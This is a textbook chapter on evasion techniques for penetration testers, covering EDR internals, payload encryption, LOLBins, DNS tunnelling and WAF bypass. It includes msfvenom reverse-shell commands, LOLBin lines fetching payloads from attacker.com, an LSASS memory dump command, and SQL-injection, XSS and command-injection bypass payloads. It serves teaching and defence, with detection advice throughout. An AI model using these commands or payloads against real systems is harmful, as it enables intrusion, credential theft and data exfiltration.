> ⚠️ Authorization Notice: Every technique in this chapter must be performed only within the scope of a signed authorization agreement, on systems you own, or in designated lab environments. Evasion techniques that bypass security controls carry...
Learning Objectives
- Understand why evasion techniques are essential knowledge for ethical hackers
- Explain how antivirus and EDR solutions detect malicious activity
- Apply payload obfuscation and encoding to bypass static analysis
- Use Living Off the Land techniques to operate without dropping custom binaries
- Implement network evasion through fragmentation, tunneling, and encryption
- Bypass Web Application Firewalls using application-level evasion
- Evaluate and operate modern C2 frameworks in authorized engagements
In This Chapter
- Introduction
- 27.1 Why Evasion Matters for Ethical Hackers
- 27.2 Antivirus and EDR Evasion Fundamentals
- 27.3 Payload Obfuscation and Encoding
- 27.4 Living Off the Land (LOLBins and LOLBAS)
- 27.5 Network Evasion (Fragmentation, Tunneling, Encryption)
- 27.6 Application-Level Evasion (WAF Bypass)
- 27.7 C2 Frameworks (Cobalt Strike, Sliver, Mythic)
- 27.8 Chapter Summary
- Review Questions
- Further Reading Preview
Chapter 27: Evasion and Anti-Detection Techniques
⚠️ Authorization Notice: Every technique in this chapter must be performed only within the scope of a signed authorization agreement, on systems you own, or in designated lab environments. Evasion techniques that bypass security controls carry heightened legal and ethical obligations. Unauthorized use of these techniques is illegal and unethical. The purpose of studying evasion is to help organizations validate that their detection capabilities actually work.
Introduction
You have just spent hours carefully exploiting a vulnerability in MedSecure's patient portal, obtained a foothold on an internal Linux web server, and escalated privileges to root. You craft a Meterpreter payload, upload it to the server, and execute it -- only to watch your shell die three seconds later. The endpoint detection and response (EDR) agent on the adjacent Windows workstation flagged the network traffic pattern. Your Meterpreter binary, sitting on the web server, was quarantined by the antivirus scan that runs every thirty minutes. The security operations center (SOC) analyst just received an alert with your IP address, your payload hash, and a big red "MALICIOUS" label.
Your penetration test is over -- not because you lacked skill, but because you treated detection as someone else's problem.
In the real world, adversaries do not politely announce their presence. Nation-state actors spend months inside networks without triggering a single alert. Ransomware operators disable EDR agents before deploying their payloads. Red teams that cannot evade detection provide an incomplete picture of organizational risk, because they only test what happens when an attack is caught -- never what happens when it is not.
This chapter teaches you the art and science of evasion: understanding how detection works so you can operate beneath it, around it, and through it. We will explore antivirus and EDR internals, payload obfuscation, Living Off the Land techniques, network-level evasion, application-layer bypasses, and command-and-control (C2) frameworks. Every technique is presented with its corresponding detection strategy, because the ultimate goal of learning evasion is to help defenders build better detection.
🔵 Blue Team Perspective: For every evasion technique in this chapter, we include detection strategies. Security teams should use this material to validate their detection capabilities, tune their rules, and identify blind spots. If your red team cannot evade your controls, your adversaries certainly can -- and they will not tell you how they did it.
27.1 Why Evasion Matters for Ethical Hackers
The Detection Arms Race
Security has always been an arms race. Attackers develop new techniques; defenders build detection capabilities; attackers evolve to evade those capabilities; the cycle continues. This dynamic means that evasion is not an optional "advanced" skill -- it is a fundamental requirement for meaningful security testing.
Consider the difference between two penetration test reports:
Report A: "We ran Nmap, found open ports, used Metasploit to exploit MS17-010, and obtained SYSTEM. Your antivirus flagged and quarantined our payload within 15 seconds."
Report B: "We crafted a custom payload that evaded your EDR solution for 72 hours. During that time, we exfiltrated 40GB of patient data through DNS tunneling, moved laterally to six domain controllers, and established persistent access via a scheduled task running a LOLBin. Your SOC received zero alerts. Here is exactly what we did, why your controls failed, and how to fix each gap."
Report B delivers dramatically more value. It reveals the actual risk the organization faces from a skilled adversary, and it provides actionable intelligence for improving detection. This is why evasion skills matter.
The Ethical Dimension
Evasion techniques sit at the intersection of offense and defense. The same knowledge that enables a red team operator to bypass EDR enables a defender to understand why their controls fail. This dual-use nature demands heightened ethical awareness.
As ethical hackers, we follow three principles when employing evasion:
-
Authorization first, always. Evasion techniques are explicitly covered in the Rules of Engagement (RoE). The client knows you will attempt to bypass their controls, and they have agreed to it in writing.
-
Proportionality. Use the minimum evasion necessary to achieve the test objective. If you need to demonstrate that EDR can be bypassed, demonstrate it once and document it -- do not spend weeks building custom rootkits unless the engagement specifically calls for it.
-
Full disclosure in reporting. Every evasion technique you use is documented in your final report, including the specific detection gap it exploited and a remediation recommendation. The value of evasion testing comes from the disclosure, not the secrecy.
⚖️ Ethics Checkpoint: Before using any evasion technique in an engagement, ask yourself: "Is this technique covered by my authorization? Does the client understand what I am about to do? Will I document this fully in my report?" If any answer is "no," stop and clarify with the client.
The MITRE ATT&CK Defense Evasion Tactic
MITRE ATT&CK dedicates an entire tactic to Defense Evasion (TA0005), containing over 40 techniques and hundreds of sub-techniques. This tactic covers everything from obfuscated files (T1027) to indicator removal (T1070) to process injection (T1055). Throughout this chapter, we will reference specific ATT&CK technique IDs so you can cross-reference with your organization's detection coverage map.
Key Defense Evasion techniques we will cover:
| Technique ID | Name | Section |
|---|---|---|
| T1027 | Obfuscated Files or Information | 27.3 |
| T1140 | Deobfuscate/Decode Files | 27.3 |
| T1055 | Process Injection | 27.3 |
| T1218 | System Binary Proxy Execution | 27.4 |
| T1202 | Indirect Command Execution | 27.4 |
| T1047 | Windows Management Instrumentation | 27.4 |
| T1572 | Protocol Tunneling | 27.5 |
| T1573 | Encrypted Channel | 27.5 |
| T1071 | Application Layer Protocol | 27.5, 27.7 |
| T1090 | Proxy | 27.5, 27.7 |
| T1562 | Impair Defenses | 27.2 |
| T1497 | Virtualization/Sandbox Evasion | 27.2 |
Understanding these technique IDs is essential for mapping your red team operations to the ATT&CK framework, which many organizations use as their primary detection coverage model. When you document your findings, referencing ATT&CK IDs helps the blue team understand exactly which detection capabilities need improvement.
📊 ShopStack Note: ShopStack uses the ATT&CK framework to organize their detection engineering program. During our engagement, we map every evasion technique to its ATT&CK ID and compare against ShopStack's detection coverage matrix, identifying specific gaps in their monitoring.
27.2 Antivirus and EDR Evasion Fundamentals
How Antivirus Works
To evade detection, you must first understand how detection works. Modern antivirus (AV) solutions use multiple detection engines:
Signature-Based Detection is the oldest and simplest method. The AV vendor creates a unique identifier (signature) for known malware -- typically a hash of the file, a specific byte sequence, or a pattern of opcodes. When a file is scanned, it is compared against a database of known signatures. If it matches, the file is flagged as malicious.
Strengths: Fast, low false-positive rate for known threats. Weaknesses: Completely blind to novel or modified malware. Changing a single byte in a binary produces a different hash.
Heuristic Analysis examines file characteristics and behavior patterns without relying on exact signatures. Heuristics might flag a file that imports suspicious API functions (e.g., VirtualAlloc, WriteProcessMemory, CreateRemoteThread), contains encrypted sections, or matches structural patterns common in malware.
Strengths: Can detect variants of known malware and some novel threats. Weaknesses: Higher false-positive rate; can be defeated by restructuring code.
Behavioral Detection monitors what a program actually does at runtime rather than what it looks like on disk. A behavioral engine might flag a process that injects code into another process, modifies the Windows registry to establish persistence, or opens a network connection to an unusual destination.
Strengths: Can detect fileless malware and zero-day threats. Weaknesses: Detection occurs after execution begins; reaction time matters.
Machine Learning Models -- Modern AV products (CrowdStrike Falcon, SentinelOne, Carbon Black) use ML models trained on millions of malware samples. These models analyze hundreds of features extracted from a binary (imports, sections, entropy, strings, structural characteristics) and produce a maliciousness score.
Strengths: Can generalize to detect novel malware. Weaknesses: Susceptible to adversarial machine learning techniques; models can be profiled and evaded.
How EDR Works
Endpoint Detection and Response (EDR) goes beyond traditional AV by providing continuous monitoring, telemetry collection, and response capabilities. Understanding the EDR sensor architecture is essential for evasion.
Kernel-Mode Hooks and Callbacks: EDR agents install kernel-mode drivers that register callbacks for process creation, thread creation, image loading, registry operations, and file system activity. When any of these events occur, the EDR driver receives a notification and can inspect or block the operation.
User-Mode Hooks: EDR agents inject DLLs into running processes that hook critical Windows API functions (e.g., ntdll.dll functions like NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx). When a process calls these functions, the hook intercepts the call, inspects the parameters, and decides whether to allow it.
ETW (Event Tracing for Windows): EDR solutions consume ETW events from various providers, including the Microsoft-Windows-Threat-Intelligence provider, which provides telemetry on memory operations that is extremely difficult to evade from user mode.
AMSI (Antimalware Scan Interface): AMSI allows applications to submit content to the installed antimalware provider for scanning. PowerShell, JScript, VBScript, and .NET all integrate with AMSI, meaning that scripts are scanned at runtime before execution.
💡 Key Insight: Modern EDR does not rely on a single detection method. It correlates signals from kernel callbacks, user-mode hooks, ETW telemetry, AMSI scans, network monitoring, and behavioral models. Evading one layer is insufficient -- you must consider the entire detection stack.
Common Evasion Categories
Based on this understanding, evasion techniques fall into several categories:
| Category | Target | ATT&CK Techniques |
|---|---|---|
| On-disk evasion | Signature and heuristic engines | T1027, T1036, T1221 |
| In-memory evasion | User-mode hooks, AMSI | T1055, T1620 |
| Behavioral evasion | Behavioral and ML models | T1497, T1480 |
| Network evasion | Network monitoring, IDS/IPS | T1573, T1572, T1090 |
| Kernel-level evasion | Kernel callbacks, ETW | T1014, T1562 |
Sandbox Detection and Environment Awareness
Modern AV/EDR solutions use sandboxes (also called detonation chambers) to execute suspicious files in isolated virtual environments and observe their behavior. Evasion techniques that target sandbox detection include:
Time-based evasion: Sleep for extended periods before executing the payload. Sandboxes typically have execution time limits (30 seconds to 5 minutes). A payload that sleeps for 10 minutes will not exhibit malicious behavior within the sandbox window. However, modern sandboxes can detect and fast-forward sleep calls.
Environment checks: Detect sandbox indicators such as: - Low memory (< 2GB RAM), few CPU cores, small disk - Known sandbox MAC addresses (VMware, VirtualBox OUIs) - Specific registry keys or files that indicate virtualization - Lack of user interaction (no mouse movement, no recent documents) - Known sandbox usernames ("sandbox," "malware," "test") - Process names associated with analysis tools (procmon, wireshark, x64dbg)
User interaction requirements: Require user actions (mouse clicks, keyboard input) before executing the payload. Sandboxes that automate execution without user interaction will not trigger the malicious functionality.
⚠️ Important Ethical Note: While sandbox evasion is a legitimate red team technique, including excessive anti-analysis features in your payloads can make incident response more difficult for the client's security team after the engagement. Discuss with your client whether sandbox evasion is in scope and document all anti-analysis features in your report.
Execution Guardrails: Limit payload execution to specific conditions -- a particular hostname, domain, IP range, or username. If the payload executes in any other environment (including a sandbox), it does nothing. This is both an evasion technique and a safety measure that prevents accidental execution outside the authorized scope.
# Educational example of execution guardrails (conceptual)
import socket
import os
def check_target_environment():
"""Verify we are executing in the authorized target environment."""
hostname = socket.gethostname().lower()
domain = os.environ.get('USERDNSDOMAIN', '').lower()
# Only execute in the authorized MedSecure environment
authorized_domains = ['medsecure.local', 'medsecure.example.com']
if domain not in authorized_domains:
return False # Exit silently -- wrong environment
return True
💡 Key Insight: Execution guardrails are a best practice for red team operations. They protect against accidental execution on unauthorized systems and also serve as an anti-sandbox technique, since analysis environments will not match the guardrail conditions.
MedSecure Scenario: The EDR Challenge
MedSecure has deployed CrowdStrike Falcon on all Windows endpoints and ESET on Linux servers. During our engagement, we discover that the Falcon agent version has not been updated in three months, but it is still actively monitoring. Our Rules of Engagement explicitly authorize EDR evasion testing. We need a strategy that addresses multiple detection layers.
Our initial assessment reveals the detection stack we must address: - CrowdStrike Falcon: Kernel-mode driver, user-mode hooks, ML-based detection, cloud-based analysis - ESET NOD32 (Linux): File-based scanning, heuristic analysis, on-access scanning - Network: Palo Alto NGFW with SSL inspection on the perimeter - SIEM: Splunk ingesting Windows Event Logs and Sysmon - Email: Proofpoint with sandbox detonation for attachments
Each layer must be considered in our evasion strategy. A payload that evades Falcon but generates network alerts is a partial failure. A payload that evades all endpoint and network detection but is caught by command-line logging in Splunk is a partial failure. Comprehensive evasion requires addressing the entire detection stack.
🧪 Try It in Your Lab: Set up a Windows 10 VM with Windows Defender and Sysmon configured. Generate a basic Meterpreter payload with
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o payload.exe. Transfer it to the Windows VM and observe the detection. This is your baseline -- every technique in this chapter will improve on this.
27.3 Payload Obfuscation and Encoding
The Basics: Why Default Payloads Get Caught
When you generate a Meterpreter payload with msfvenom, the resulting binary contains well-known byte patterns, imports suspicious API functions, and has structural characteristics that every AV vendor has profiled. The binary might as well have "I AM MALWARE" stamped on it.
The goal of payload obfuscation is to change the appearance of a payload without changing its functionality. This is analogous to putting a different cover on the same book -- the content is the same, but it looks different to anyone scanning the cover.
Encoding Techniques
XOR Encoding is the simplest obfuscation technique. Each byte of the payload is XOR'd with a key, producing an encoded payload that looks nothing like the original. A small decoder stub is prepended that XOR's the bytes back at runtime. msfvenom's shikata_ga_nai encoder uses polymorphic XOR encoding -- each encoded version is different.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 \
-e x64/xor_dynamic -i 5 -f raw -o payload.bin
The -i 5 flag applies five iterations of encoding. However, modern AV products have learned to detect common encoding stubs, including shikata_ga_nai. Encoding alone is no longer sufficient.
AES Encryption provides stronger obfuscation. The payload is encrypted with AES-256, and a custom loader decrypts it at runtime. Because the encrypted payload appears as random data, signature-based detection cannot identify it.
# Educational demonstration of AES payload encryption concept
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import os
def encrypt_payload(shellcode: bytes, key: bytes) -> tuple:
"""Encrypt shellcode with AES-256-CBC."""
iv = get_random_bytes(16)
# Pad to AES block size
padded = shellcode + b'\x00' * (16 - len(shellcode) % 16)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return iv, encrypted
The loader program contains the decryption key (or retrieves it from a remote server), decrypts the payload in memory, and executes it. This defeats static analysis because the malicious content only exists in cleartext in memory.
Custom Loaders and Shellcode Runners
A shellcode runner is a program that loads and executes raw shellcode in memory. The runner itself contains no malicious code -- it simply allocates memory, copies the shellcode, and transfers execution to it. This separation between the "innocent" loader and the "malicious" payload is a fundamental evasion pattern.
A basic shellcode runner in C might:
1. Allocate executable memory with VirtualAlloc()
2. Copy the shellcode into the allocated memory with memcpy()
3. Create a new thread that executes the shellcode with CreateThread()
Modern EDR products detect this pattern because the sequence of API calls (VirtualAlloc with PAGE_EXECUTE_READWRITE -> memcpy -> CreateThread) is a well-known indicator. Advanced runners use techniques to obscure this pattern:
Syscall-based execution bypasses user-mode hooks by calling kernel functions directly via syscall instructions, rather than going through ntdll.dll (where EDR hooks reside). Tools like SysWhispers and HellsGate automate the generation of direct syscall stubs.
Callback-based execution abuses legitimate Windows API functions that accept callback parameters. Functions like EnumDesktopsA(), CertEnumSystemStore(), or EnumChildWindows() will execute a function pointer you provide -- and EDR agents often do not monitor these obscure callbacks as execution vectors.
Module stomping loads a legitimate DLL, overwrites its .text section with shellcode, and executes it. Because the memory region belongs to a legitimate, signed module, some EDR solutions treat it with less suspicion.
⚠️ Important: These techniques are described for understanding. In practice, use established frameworks (discussed in Section 27.7) that implement these techniques safely and reliably. Rolling your own custom loaders introduces bugs and instability that can crash production systems -- which violates our obligation to avoid causing harm during testing.
Obfuscation Frameworks
Several frameworks automate payload obfuscation for authorized testing:
ScareCrow generates EDR-evading loaders using process injection, syscalls, and code signing with legitimate (expired) certificates. It supports multiple payload formats and can produce DLLs, executables, and Office macros.
Veil-Evasion generates AV-evading payloads using multiple programming languages (Python, C, C#, Go, Ruby). It applies various encoding and obfuscation techniques to Metasploit payloads.
Donut converts .NET assemblies, EXEs, and DLLs into position-independent shellcode. This allows you to take any .NET tool (like Rubeus, Seatbelt, or SharpHound) and inject it into memory without dropping it to disk.
Nimcrypt2 uses the Nim programming language to create encrypted shellcode loaders with syscall-based execution, sandbox detection, and ETW patching.
Process Injection Techniques
Process injection is the act of executing code within the address space of another process. This is a core evasion technique because: - The malicious code runs under the identity and context of a legitimate process - Memory-only execution avoids file-based detection - The injected process inherits the trust level of the host process
Common process injection techniques include:
Classic DLL Injection: Use CreateRemoteThread to call LoadLibrary in the target process, loading a malicious DLL. Well-detected by EDR.
Process Hollowing: Create a process in a suspended state, unmap its memory, replace it with malicious code, and resume execution. The malicious code runs as the legitimate process.
APC Injection: Queue an Asynchronous Procedure Call (APC) to a thread in the target process. When the thread enters an alertable wait state, the APC executes the injected code.
Thread Hijacking: Suspend a thread in the target process, modify its instruction pointer to point to injected code, and resume the thread.
Early Bird APC Injection: Queue an APC to the main thread of a newly created process before it starts executing, ensuring the injected code runs before any EDR hooks are established.
Each technique has a different detection profile. EDR agents monitor the API calls used (e.g., VirtualAllocEx, WriteProcessMemory, CreateRemoteThread), but newer techniques use less-monitored APIs or direct syscalls to evade these hooks.
🧪 Try It in Your Lab: Use Process Hacker or Process Monitor on your Windows VM to observe the API calls and memory operations that occur during process injection. This defensive perspective is essential for understanding what EDR agents monitor.
String Obfuscation and API Hashing
Strings inside a binary are goldmines for detection. A binary containing strings like "CreateRemoteThread," "mimikatz," or "Invoke-Mimikatz" will be flagged immediately. String obfuscation techniques include:
- Runtime string construction: Build strings character by character at runtime instead of storing them as literals
- String encryption: Encrypt all strings and decrypt them only when needed
- API hashing: Replace function name strings with hashes and resolve function addresses at runtime by hashing the export table entries of loaded DLLs
- Stack strings: Construct strings on the stack using individual character assignments, defeating simple static string extraction
🔵 Blue Team Perspective: Detecting obfuscated payloads requires looking beyond signatures. Monitor for suspicious memory allocation patterns (large
PAGE_EXECUTE_READWRITEregions), unusual parent-child process relationships, and behavioral indicators like LSASS access or credential dumping patterns. Sysmon Event ID 10 (ProcessAccess) with GrantedAccess values indicating memory reading is particularly valuable.
27.4 Living Off the Land (LOLBins and LOLBAS)
The Philosophy of Stealth Through Legitimacy
"Living Off the Land" (LOTL) is a philosophy rather than a single technique. The core idea is simple: instead of bringing your own tools (which might be detected), use the tools that are already installed on the target system. If you can accomplish your objectives using only legitimate, signed, trusted system binaries, you become indistinguishable from normal system activity.
This philosophy was popularized by the cybersecurity community around 2013, and the LOLBAS (Living Off the Land Binaries, Scripts, and Libraries) project maintains a comprehensive catalog at lolbas-project.github.io. The Linux equivalent, GTFOBins (gtfobins.github.io), catalogs Unix binaries that can be exploited.
Windows LOLBins: The Essentials
The Windows operating system ships with hundreds of signed binaries, many of which have capabilities that are useful for attackers. Here are the most important categories:
Execution LOLBins allow you to run arbitrary code:
-
rundll32.exe: Executes DLL exports. Can load DLLs from SMB shares, URLs, or local paths.
rundll32.exe \\attacker\share\payload.dll,EntryPoint -
regsvr32.exe: Registers COM DLLs, but can also fetch and execute scriptlets from URLs, bypassing application whitelisting:
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll -
mshta.exe: Executes HTML Applications (HTA files), which can contain VBScript or JScript:
mshta http://attacker.com/payload.hta -
msiexec.exe: Installs MSI packages, which can contain custom actions that execute arbitrary code:
msiexec /q /i http://attacker.com/payload.msi -
certutil.exe: A certificate management utility that can download files from URLs and decode Base64:
certutil -urlcache -split -f http://attacker.com/payload.exe C:\temp\payload.exe
PowerShell: While not exactly "living off the land" since it is heavily monitored, PowerShell remains incredibly powerful for post-exploitation. Modern evasion requires bypassing several defense layers:
-
AMSI (Antimalware Scan Interface): PowerShell submits script content to AMSI before execution. AMSI sends the content to the installed AV for scanning. Bypasses include patching the
AmsiScanBufferfunction in memory, using obfuscation to break AMSI signatures, and using reflection to disable AMSI through .NET APIs. Note that AMSI bypass itself generates detectable telemetry. -
Script Block Logging: PowerShell 5.0+ logs the full content of every script block that executes, regardless of obfuscation. Even if you use
Invoke-Expressionwith an encoded string, the decoded script block is logged. This logging is extremely difficult to evade without modifying PowerShell itself. -
Constrained Language Mode (CLM): When AppLocker or WDAC is enforced, PowerShell enters Constrained Language Mode, which restricts access to .NET types, COM objects, and other advanced features. CLM significantly limits the offensive capabilities available through PowerShell, though bypass techniques exist (such as using PowerShell 2.0, which does not support CLM, or finding CLM bypass vulnerabilities).
-
Module Logging: Logs which PowerShell modules are loaded and what commands they execute. Combined with Script Block Logging, this provides comprehensive visibility into PowerShell activity.
Reconnaissance LOLBins:
- nltest.exe: Enumerates domain trusts and domain controllers
- dsquery.exe: Queries Active Directory objects
- net.exe: Enumerates users, groups, shares, and sessions
- tasklist.exe: Lists running processes, including those from remote systems
- systeminfo.exe: Gathers detailed system configuration
Data Exfiltration LOLBins:
- bitsadmin.exe: Background Intelligent Transfer Service can upload and download files
- certutil.exe: Can encode files to Base64 for exfiltration through text-based channels
- expand.exe: Can extract CAB files, useful for staged payloads
WMI and .NET: Advanced LOTL
Windows Management Instrumentation (WMI) is an enormously powerful LOTL mechanism. WMI can:
- Execute processes on remote systems: wmic /node:target process call create "cmd.exe /c payload"
- Query system information across the network
- Create persistent event subscriptions that trigger on specific conditions
- Move laterally without deploying any custom tools
.NET Framework is present on virtually every Windows system and provides a rich set of capabilities through its class libraries. Offensive .NET tools like Rubeus (Kerberos attacks), Seatbelt (situational awareness), and SharpHound (Active Directory mapping) are written in C# and can be loaded reflectively into memory using .NET's Assembly.Load() method.
Linux LOTL
Linux systems offer their own rich set of LOTL opportunities:
- curl/wget: Download files and exfiltrate data
- python/perl/ruby: Script interpreters present on most systems
- ssh: Port forwarding, SOCKS proxying, file transfer
- crontab: Persistence through scheduled tasks
- openssl: Encrypted connections, file encryption
- base64: Encoding and decoding for data transfer
- dd: Raw disk access and data extraction
- socat/nc: Network connections and reverse shells
MedSecure Scenario: LOTL in Healthcare
During our MedSecure engagement, we land on a Windows Server 2019 machine running the patient records application. The server has CrowdStrike Falcon installed and application whitelisting via AppLocker. Rather than dropping a custom binary that will be immediately flagged, we use only built-in tools:
- Situational awareness:
systeminfo,net user /domain,nltest /dclist: - Credential access:
comsvcs.dll(signed Microsoft DLL) to dump LSASS memory viarundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump [LSASS_PID] C:\temp\dump.bin full - Lateral movement: WMI to execute commands on adjacent servers
- Data staging:
certutil -encodeto Base64-encode sensitive files - Exfiltration: DNS TXT queries containing encoded data fragments
Not a single custom binary touched the disk. Every tool we used was a signed Microsoft component. The AppLocker policy, designed to block unauthorized executables, was completely ineffective against our approach.
🔵 Blue Team Perspective: Detecting LOTL activity requires behavioral analysis, not signature matching. Key detection strategies include: - Command-line logging: Enable Sysmon Event ID 1 (Process Creation) with full command-line capture. Flag unusual arguments to LOLBins (e.g.,
certutil -urlcache,mshta http://). - Parent-child process anomalies:mshta.exespawningcmd.exeis suspicious.winword.exespawningpowershell.exeis suspicious. - Baseline normal behavior: Understand which LOLBins are normally used in your environment and alert on unusual ones. - LOLBAS detection rules: SIGMA rules exist for most known LOLBAS abuse patterns.🧪 Try It in Your Lab: Install Sysmon on your Windows VM with the SwiftOnSecurity configuration. Execute several LOLBin commands (use harmless targets, like downloading a text file with certutil). Then examine the Sysmon logs to see what telemetry was captured. This exercise reveals both the power and the limitations of LOLBin monitoring.
27.5 Network Evasion (Fragmentation, Tunneling, Encryption)
Why Network Evasion Matters
Even if your payload evades endpoint detection, your network traffic must traverse firewalls, intrusion detection systems (IDS), intrusion prevention systems (IPS), network detection and response (NDR) solutions, and SSL inspection appliances. Each of these systems examines network traffic for suspicious patterns, and each can block or alert on your activity.
IP Fragmentation and Protocol Manipulation
IP fragmentation splits packets into smaller fragments that are reassembled by the receiving host. IDS/IPS systems must also reassemble fragments to inspect the complete payload, and this reassembly process can be exploited:
- Fragment overlap attacks: Different fragments contain overlapping data. The IDS and the target host may reassemble the fragments differently, meaning the IDS sees a benign payload while the target sees the malicious one.
- Tiny fragment attacks: Create fragments so small that the TCP header is split across multiple fragments. Some IDS systems cannot inspect partial TCP headers.
- Fragment timeout evasion: Send fragments with delays between them. If the IDS times out and drops its reassembly buffer before all fragments arrive, but the target has a longer timeout, the attack succeeds.
Nmap supports fragmentation with the -f flag:
nmap -f -sS -p 80,443 target.medsecure.example.com
The -f flag fragments packets into 8-byte fragments. Using -ff creates 16-byte fragments. The --mtu flag allows custom fragment sizes.
TTL-based evasion sends packets with TTL values calculated to expire before reaching the IDS but after reaching the target. If the IDS is positioned earlier in the network path than the target, it will see packets that never actually reach the target, corrupting its view of the traffic.
Protocol Tunneling
Protocol tunneling encapsulates your traffic inside legitimate protocols that firewalls and IDS systems typically allow through.
DNS Tunneling encodes data into DNS queries and responses. Since DNS traffic (UDP port 53) is allowed through virtually every firewall, it provides a reliable exfiltration and C2 channel. Tools include:
- dnscat2: Provides an encrypted C2 channel over DNS
- iodine: Creates a full IP tunnel over DNS
- DNSExfiltrator: Purpose-built for data exfiltration over DNS
A DNS tunnel might encode data in subdomain labels:
aGVsbG8gd29ybGQ.data.attacker.com (Base64-encoded "hello world")
The attacker controls the authoritative DNS server for attacker.com and receives the encoded data in the DNS query.
ICMP Tunneling encapsulates data in ICMP echo request/reply packets (pings). Since ICMP is frequently allowed for network diagnostics, it provides another covert channel. Tools like icmpsh and ptunnel implement ICMP tunneling.
HTTP/HTTPS Tunneling hides C2 traffic inside normal-looking web requests. An HTTP tunnel might send commands as cookies, POST parameters, or custom headers, with responses encoded in the HTML body. HTTPS adds encryption, making content inspection impossible without SSL interception.
SSH Tunneling uses SSH port forwarding to route traffic through encrypted SSH connections. We covered this extensively in Chapter 24 (Post-Exploitation and Pivoting), but it bears repeating here in the evasion context:
# Local port forward: access internal service through compromised host
ssh -L 8080:internal-db.medsecure.local:3306 user@compromised-host
# Dynamic SOCKS proxy: route all traffic through compromised host
ssh -D 1080 user@compromised-host
Domain Fronting
Domain fronting exploits the difference between the SNI (Server Name Indication) field in the TLS handshake and the Host header in the HTTP request. In the TLS handshake, the SNI field shows a legitimate domain (e.g., www.microsoft.com), which is what network inspection devices see. Inside the encrypted HTTP request, the Host header points to the actual C2 server (e.g., c2.attacker.com), which is hosted on the same CDN.
While major cloud providers (AWS, Google, Azure) have taken steps to block domain fronting since 2018, variants of this technique still work with some CDN configurations.
Encrypted C2 Channels
Modern C2 frameworks use encryption by default, but the metadata and traffic patterns can still reveal their presence:
- JA3/JA3S fingerprinting: TLS handshakes produce unique fingerprints based on the cipher suites, extensions, and other parameters offered by the client and server. Cobalt Strike's default HTTPS beacon has a well-known JA3 fingerprint that many EDR solutions detect.
- Certificate profiling: Self-signed certificates or certificates with unusual characteristics (short validity, no CT log entry, suspicious issuer) raise flags.
- Traffic pattern analysis: Regular beacon intervals (e.g., exactly every 60 seconds) are a dead giveaway for C2 traffic, even if encrypted.
To counter these detections: - Use malleable C2 profiles (Cobalt Strike) or equivalent configuration to customize TLS parameters, beacon intervals, and traffic patterns - Add jitter to beacon intervals (e.g., 60 seconds +/- 30% produces intervals between 42 and 78 seconds) - Use legitimate certificates from Let's Encrypt or other CAs - Mimic legitimate traffic patterns by profiling real application traffic and matching its characteristics
🔵 Blue Team Perspective: Network evasion detection requires: - DNS analytics: Monitor for unusually high DNS query volumes, long subdomain labels, queries to newly registered domains, and DNS TXT record queries that are abnormal for your environment. - JA3 fingerprinting: Build an allowlist of known-good JA3 fingerprints and alert on novel ones. - Beacon detection: Tools like RITA (Real Intelligence Threat Analytics) analyze network traffic for beaconing patterns even when the content is encrypted. - SSL inspection: Deploy SSL interception at the network boundary to inspect encrypted traffic (with appropriate legal and privacy considerations). - NetFlow analysis: Even without content inspection, traffic metadata (timing, volume, destinations) can reveal tunneling.
27.6 Application-Level Evasion (WAF Bypass)
Understanding Web Application Firewalls
Web Application Firewalls (WAFs) inspect HTTP traffic and block requests that match known attack patterns. WAFs operate using a combination of signature matching, regular expressions, anomaly detection, and increasingly, machine learning.
Popular WAFs include: AWS WAF, Cloudflare WAF, Akamai Kona, Imperva, F5 ASM, and ModSecurity (open source). Each has different detection capabilities, rule sets, and bypass potential.
WAFs typically inspect: - URL paths and query parameters - POST body content - HTTP headers (including Cookie, User-Agent, Referer) - Request patterns and rates - File upload content
SQL Injection WAF Bypass
WAFs commonly block SQL injection by looking for patterns like ' OR 1=1, UNION SELECT, DROP TABLE, and similar strings. Bypass techniques include:
Case alternation and encoding:
# Blocked:
UNION SELECT username, password FROM users
# Bypass attempts:
UnIoN SeLeCt username, password FROM users
%55NION %53ELECT username, password FROM users (URL encoding)
/*!UNION*/ /*!SELECT*/ username, password FROM users (MySQL inline comments)
Comment injection:
UN/**/ION SEL/**/ECT username, password FR/**/OM users
String concatenation:
CONCAT('UN','ION') CONCAT('SEL','ECT')
Alternative syntax:
' OR 1 LIKE 1 -- (instead of OR 1=1)
' HAVING 1=1 --
' GROUP BY id HAVING 1=1 --
JSON-based bypass (works against some WAFs that do not inspect JSON bodies):
POST /api/login HTTP/1.1
Content-Type: application/json
{"username": "admin' OR 1=1 --", "password": "x"}
XSS WAF Bypass
WAFs block XSS by looking for patterns like <script>, onerror=, javascript:, etc. Bypass techniques include:
HTML encoding tricks:
<img src=x onerror=alert(1)> <!-- Might be blocked -->
<img src=x onerror=al\u0065rt(1)> <!-- Unicode escape -->
<svg/onload=alert(1)> <!-- Different tag -->
<details open ontoggle=alert(1)> <!-- Obscure event handler -->
Polyglot payloads work across multiple contexts:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert() )//%0telerik
Double encoding:
%253Cscript%253Ealert(1)%253C%252Fscript%253E
Command Injection WAF Bypass
When WAFs block characters like ;, |, &&, backticks, and $():
# Standard command injection (blocked):
; cat /etc/passwd
# Bypasses:
%0a cat /etc/passwd (newline)
`cat /etc/passwd` (backticks if not filtered)
cat$IFS/etc/passwd ($IFS = Internal Field Separator = space)
{cat,/etc/passwd} (brace expansion)
c''at /e''tc/p''asswd (empty quotes)
c\at /et\c/pas\swd (backslash)
WAF Fingerprinting
Before attempting bypasses, identify the WAF:
- wafw00f: Automated WAF fingerprinting tool
wafw00f https://shopstack.example.com - Custom probes: Send obviously malicious requests and analyze the error responses, headers, and cookies. Cloudflare adds
cf-rayheaders. AWS WAF returns 403 with specific error formats.
ShopStack Scenario: WAF Bypass in Action
During our ShopStack engagement, we discover Cloudflare WAF protecting the web application. Our initial SQL injection payload is blocked:
GET /api/products?category=1' UNION SELECT null,null,null-- HTTP/1.1
Cloudflare returns a 403 with a challenge page. We try alternative approaches:
- Identify the origin IP: Use DNS history, subdomains, or email headers to find the origin server IP that may not be behind Cloudflare
- JSON endpoint: Find an API endpoint that accepts JSON and test there
- HTTP parameter pollution: Send the same parameter twice with different encodings
